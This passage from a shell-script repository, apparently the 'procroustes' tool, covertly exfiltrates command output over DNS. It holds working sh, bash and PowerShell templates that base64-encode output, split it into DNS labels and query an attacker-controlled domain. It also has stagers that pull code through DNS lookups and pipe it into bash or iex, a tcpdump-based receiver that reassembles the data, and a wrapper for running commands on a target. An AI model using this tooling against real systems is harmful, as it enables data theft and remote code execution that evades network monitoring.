0 ]] && printf "${RED}NS DNS data are expected through stdin, check usage examples${NC}\n" 203 | 204 | ##########END OF ARGUMENT PROCESSING############# 205 | 206 | ##########sh definitions####### 207 | assign sh outer_cmd_template 'sh -c $@|base64${IFS}-d|sh . echo %CMD_B64%' 208 | 209 | assign sh stager_dns_cmd 'dig +short %host%' 210 | assign sh stager_host '$(cat).%UNIQUE_DNS_HOST%' 211 | assign sh stager_template '(seq %ITERATIONS%|%STAGER_DNS_CMD%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash' 212 | 213 | assign sh inner_cmd_template "(${cmd})|base64 -w0|echo \$(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|nl|awk '{printf \"%s.%s%s\n\",\$2,\$1,\"%UNIQUE_DNS_HOST%\"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%" 214 | [[ $strict_label_charset -eq 1 ]] && { 215 | assign sh inner_cmd_template "(${cmd})|base64 -w0|echo \$(cat)--|sed 's_+_-1_g; s_/_-2_g; s_=_-3_g'|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|nl|awk '{printf \"%s.%s%s\n\",\$2,\$1,\"%UNIQUE_DNS_HOST%\"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%" 216 | } 217 | #assign bash inner_cmd_template "(${cmd})|base64 -w0|echo \$(cat)--|sed 's_+_-1_g; s_/_-2_g; s_=_-3_g'|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|nl|awk '{printf \"%s.%s%s\n\",\$2,\$1,\"%UNIQUE_DNS_HOST%\"}'|xargs -n1 bash -c '%DNS_TRIGGER% \$1&[[ \$(($(date +%N)/100000%5)) -eq 0 ]] && wait or sleep' ." 218 | 219 | ##########bash definitions####### 220 | assign bash outer_cmd_template 'bash -c {echo,%CMD_B64%}|{base64,-d}|bash' 221 | 222 | assign bash stager_dns_cmd 'dig +short %host%' 223 | assign bash stager_host '$(cat).%UNIQUE_DNS_HOST%' 224 | #assign bash stager_template 'while [[ ${a[*]} != "4 4 4 4" ]];do ((i++));printf %s "$c";IFS=. read -a a < <(%S_DNS_TRIGGER% $i.%UNIQUE_DNS_HOST%);c=$(printf %02x ${a[*]}|xxd -r -p);done|bash' 225 | assign bash stager_template '(seq %ITERATIONS%|%STAGER_DNS_CMD%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash' 226 | 227 | assign bash inner_cmd_template "(${cmd})|base64 -w0|echo \$(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|nl|awk '{printf \"%s.%s%s\n\",\$2,\$1,\"%UNIQUE_DNS_HOST%\"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%" 228 | [[ $strict_label_charset -eq 1 ]] && { 229 | assign bash inner_cmd_template "(${cmd})|base64 -w0|echo \$(cat)--|sed 's_+_-1_g; s_/_-2_g; s_=_-3_g'|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|nl|awk '{printf \"%s.%s%s\n\",\$2,\$1,\"%UNIQUE_DNS_HOST%\"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%" 230 | } 231 | #assign bash inner_cmd_template "(${cmd})|base64 -w0|echo \$(cat)--|sed 's_+_-1_g; s_/_-2_g; s_=_-3_g'|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|nl|awk '{printf \"%s.%s%s\n\",\$2,\$1,\"%UNIQUE_DNS_HOST%\"}'|xargs -n1 bash -c '%DNS_TRIGGER% \$1&[[ \$((RANDOM%10)) -eq 0 ]] && wait or sleep' ." 232 | 233 | ###########powershell definitions######## 234 | assign powershell outer_cmd_template "powershell -enc %CMD_B64%" 235 | 236 | #assign powershell stager_dns_cmd "(nslookup -type=a %host%).split(' ')[-2]" #nslookup makes an additional ptr request trying to identify the name of the ns. make sure the ptr record exists otherwise it would be too slow. It drops the stager size to ~350 though 237 | assign powershell stager_dns_cmd 'Resolve-DnsName -ty a %host%|? Section -eq Answer|Select -Exp IPAddress' 238 | assign powershell stager_host '"${_}.%UNIQUE_DNS_HOST%"' 239 | assign powershell stager_template 'iex((1..%ITERATIONS%|%{%STAGER_DNS_CMD%|%{$_.split(".")|%{[char][int]$_}}}) -join "")' 240 | 241 | #since powershell v7, we can add -Parallel and throttleLimit as parameters to foreach for multi process/threading extraction 242 | #we cant really depend on it, for now serialized 243 | #assign powershell inner_cmd_template "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd})))+'--' -split '(.{1,%CHUNK_SIZE%})'|?{\$_}|%{\$i+=1;%DNS_TRIGGER% \$('{0}{1}{2}' -f (\$_ -replace '(.{1,%LABEL_SIZE%})','\$1.'),\$i,'%UNIQUE_DNS_HOST%')}" 244 | #[[ $strict_label_charset -eq 1 ]] && { 245 | # assign powershell inner_cmd_template "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd})))+'--' -replace '\+','-1' -replace '/','-2' -replace '=','-3' -split '(.{1,%CHUNK_SIZE%})'|?{\$_}|%{\$i+=1;%DNS_TRIGGER% \$('{0}{1}{2}' -f (\$_ -replace '(.{1,%LABEL_SIZE%})','\$1.'),\$i,'%UNIQUE_DNS_HOST%')}" 246 | #} 247 | 248 | assign powershell inner_cmd_template "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd})))+'--' -split '(.{1,%CHUNK_SIZE%})'|?{\$_}|%{\$i+=1;if((get-job).length -eq %THREADS%){get-job|wait-job -Any};remove-job -state Completed;start-job -scriptblock {param(\$s,\$i) %DNS_TRIGGER% \$('{0}{1}{2}' -f (\$s -replace '(.{1,%LABEL_SIZE%})','\$1.'),\$i,'%UNIQUE_DNS_HOST%')} -arg \$_,\$i};Get-Job|Wait-Job" 249 | [[ $strict_label_charset -eq 1 ]] && { 250 | assign powershell inner_cmd_template "[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${cmd})))+'--' -replace '\+','-1' -replace '/','-2' -replace '=','-3' -split '(.{1,%CHUNK_SIZE%})'|?{\$_}|%{\$i+=1;if((get-job).length -eq %THREADS%){get-job|wait-job -Any};remove-job -state Completed;start-job -scriptblock {param(\$s,\$i) %DNS_TRIGGER% \$('{0}{1}{2}' -f (\$s -replace '(.{1,%LABEL_SIZE%})','\$1.'),\$i,'%UNIQUE_DNS_HOST%')} -arg \$_,\$i};Get-Job|Wait-Job" 251 | } 252 | 253 | 254 | #######end of definitions########### 255 | 256 | #definitions sanity check 257 | vars=(outer_cmd_template inner_cmd_template) 258 | for var in "${vars[@]}"; do 259 | [[ -z ${!var} ]] && echo "Undeclared var: $var" && exit 260 | done 261 | 262 | #####MAIN########### 263 | exec {dns_data_fd}<&0 264 | exec 0/dev/null 2>&1 & 313 | 314 | nchunks=-1 315 | postfix="$unique_dns_host" 316 | all_chunks=() 317 | last_valid_time=$SECONDS 318 | while :;do 319 | read -t $timeout -u "$dns_data_fd" -r line || break 320 | [[ $((SECONDS-last_valid_time)) -gt $timeout ]] && break 321 | if [[ $line == *"${postfix}"* ]]; then 322 | last_valid_time=$SECONDS 323 | 324 | full_dns_req=$(echo "$line"|grep -Eo "[^ ]+${postfix}") 325 | debug_print "full_dns_req=$full_dns_req" 326 | 327 | all_data=${full_dns_req%${postfix}} 328 | index=${all_data##*.} 329 | chunk=$(printf %s "${all_data%.*}" | tr -d '.') 330 | debug_print "index=$index chunk=$chunk" 331 | 332 | [[ ${#chunk} -ne $((nlabels*label_size)) ]] && nchunks=$index 333 | [[ $chunk == *-- ]] && nchunks=$index 334 | [[ $chunk == - ]] && nchunks=$index 335 | 336 | all_chunks[$index]=$chunk 337 | [[ ${#all_chunks[@]} -eq $nchunks ]] && break 338 | 339 | printf "\rReceived chunks: ${#all_chunks[@]}" 340 | fi 341 | done && echo 342 | 343 | (IFS=;echo "${all_chunks[*]}")|strict_translator -d|b64 -d>>"${outfile}" 344 | 345 | [[ ! ${#all_chunks[@]} -eq $nchunks ]] && printf "\n${RED}Missing chunks: try increasing timeout${NC}" -------------------------------------------------------------------------------- /wrapper_targetX.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #an optional helper script you can setup for a specific target that would allow 4 | #the execution of commands on that target just by running: ./wrapper_targetX.sh ls -lh 5 | 6 | cmd_prefix="ssh yourns 'stdbuf -oL tcpdump --immediate -l -i any udp port 53'|" 7 | 8 | use_full_script=1 #chunked=0 full=!0 9 | dns_host=yourdns.host 10 | dns_trigger="dig @debug_server" 11 | dispatcher=path/to/dispatcher 12 | target_shell=powershell 13 | 14 | 15 | #######staged params####### 16 | #nsconfig=path/to/nsconfig 17 | #stager_dns_cmd='Resolve-DnsName -Server debug_server -Name %host% -ty a|? Section -eq Answer|Select -Exp IPAddress' 18 | ######end of staged params####### 19 | 20 | 21 | 22 | scr=./procroustes_full.sh 23 | [[ $use_full_script -eq 0 ]] && scr=./procroustes_chunked.sh 24 | 25 | #[[ -z $dns_host_ns ]] && dns_host_ns=$(dig +trace +time=3 +tries=1 ns $dns_host|grep d.b8.ee|grep NS|tail -n1|awk '{print $5}') 26 | 27 | 28 | #prefix with e_ to have the output escaped 29 | for var in "${!e_@}";do 30 | declare -n tmp="$var" 31 | tmp=$(printf %q "$tmp") 32 | done 33 | 34 | params="" 35 | params="${params} -h '$dns_host'" 36 | params="${params} -d '$dns_trigger'" 37 | params="${params} -x '$dispatcher'" 38 | params="${params} -w '$target_shell'" 39 | [[ ! -z $nsconfig ]] && params="${params} -z '$nsconfig'" 40 | [[ ! -z $stager_dns_cmd ]] && params="${params} -k '$stager_dns_cmd'" 41 | 42 | printf '%s%s%s -- %q' "$cmd_prefix" "$scr" "$params" "$*" --------------------------------------------------------------------------------